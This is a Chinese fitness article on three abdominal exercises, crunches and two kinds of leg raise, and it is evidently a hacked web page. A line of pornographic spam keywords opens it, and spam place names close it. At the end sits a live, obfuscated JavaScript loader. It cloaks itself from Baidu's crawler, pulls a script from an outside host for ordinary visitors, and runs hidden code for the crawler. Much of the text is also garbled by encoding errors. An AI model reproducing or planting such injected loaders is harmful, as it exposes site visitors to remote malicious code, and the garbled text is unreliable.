亚洲肥老太bbw中国熟女,免费男人和女人牲交视频全黄,韩国精品久久久久久,九九精彩视频第一页

當(dāng)前位置:首頁(yè) > 健康 > 運(yùn)動(dòng)健身 > 正文

為她練出性感腹肌

2017-04-17 14:07:43  來(lái)源:360常識(shí)網(wǎng)   熱度:
導(dǎo)語(yǔ):用三個(gè)練習(xí),并通過(guò)經(jīng)常改變它們的順序來(lái)避免單調(diào)。 1、仰臥起坐: 平躺地上,小腿擱在長(zhǎng)凳上,然后收縮肩膀,再上腹部創(chuàng)造一個(gè)弧形,就好

用三個(gè)練習(xí),并通過(guò)經(jīng)常改變它們的順序來(lái)避免單調(diào)。

1、仰臥起坐:

平躺地上,小腿擱在長(zhǎng)凳上,然后收縮肩膀,再上腹部創(chuàng)造一個(gè)弧形,就好象要向前翻滾一樣。做動(dòng)作時(shí)我不把頭伸得太靠前,以至觸到了腿,因?yàn)檫@意味著背部將離開(kāi)地面,這樣臀部便開(kāi)始分擔(dān)本應(yīng)由腹部進(jìn)行的工作了。下降時(shí),我讓肩膀緩慢地回到地面,始終不松弛腹肌。

許多人做這個(gè)練習(xí)是喜歡把手抱在腦袋后面,但多數(shù)情況下,它們所做的只是把頭向前拉。我習(xí)慣把拳頭放在面前。

2、垂直舉腿:

做這個(gè)動(dòng)作是首先應(yīng)注意避免搖擺,應(yīng)把身體繃緊,控制動(dòng)作速度。為了刺激肋間肌,我的雙膝左右轉(zhuǎn)動(dòng),這也鍛煉了腹斜肌。正確舉腿的要點(diǎn)是臀部向前伸。如果只是簡(jiǎn)單地舉腿,當(dāng)然很舒服,但那只是刺激臀部而不是腹肌。練習(xí)非常艱苦,但將完全刺激你的腹部。動(dòng)作速度因人而異,但應(yīng)確保放腿過(guò)程緩慢,以防止搖擺。

記?。?/strong>

你的目標(biāo)是練腹肌,而不是用你能做的任何方式把腿抬起。如果你發(fā)現(xiàn)完全伸直雙腿做這個(gè)動(dòng)作有困難,可屈膝做。到腹肌變得有力時(shí),在逐漸甚至雙腿做。

3、坐姿抬腿:

這個(gè)動(dòng)作能更好地刺激腹肌下部。坐在長(zhǎng)凳的邊緣,腿向前下放伸出,身體向后傾斜10度左右,抓住登的邊緣以保持身體平衡。膝蓋不要彎曲,向上舉腿,直到腳尖與雙眼平行,然后控制著慢慢下放??刂坪途o張?jiān)谡麄€(gè)動(dòng)作中至關(guān)重要,稍微的疏忽都可能導(dǎo)致下背部損傷。隨著腹肌越來(lái)越疲勞,可逐漸彎屈膝蓋,直到徹底理解。

許多人喜歡平躺在長(zhǎng)凳上做這個(gè)動(dòng)作,那樣會(huì)引起臀部與腹部反旋轉(zhuǎn),下背部有受傷的危險(xiǎn),還會(huì)減少腹部的弧形張力,把更多的張力集中到臀部而不是腹肌下部。

漂亮的腹肌取決于三個(gè)要素:

合理的飲食、有氧訓(xùn)練和經(jīng)常的腹肌訓(xùn)練。把三者和諧地組合起來(lái),你才能擁有夢(mèng)寐以求的腹肌。

轉(zhuǎn)載申明:360常識(shí)網(wǎng),歡迎分享,轉(zhuǎn)載請(qǐng)注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
阳江市| 尚志市| 施甸县| 青海省| 平邑县| 准格尔旗| 会宁县| 镇远县| 敦煌市| 乐东| 浦东新区| 临清市| 武陟县| 醴陵市| 湘潭县| 沽源县| 卢龙县| 文登市| 武平县| 平舆县| 沐川县| 蓬溪县| 梅州市| 临沭县| 梅河口市| 台南县| 陇西县| 治多县| 巨鹿县| 油尖旺区| 贺兰县| 慈溪市| 辽源市| 正定县| 罗城| 连山| 安宁市| 昌乐县| 新闻| 琼海市| 漳州市|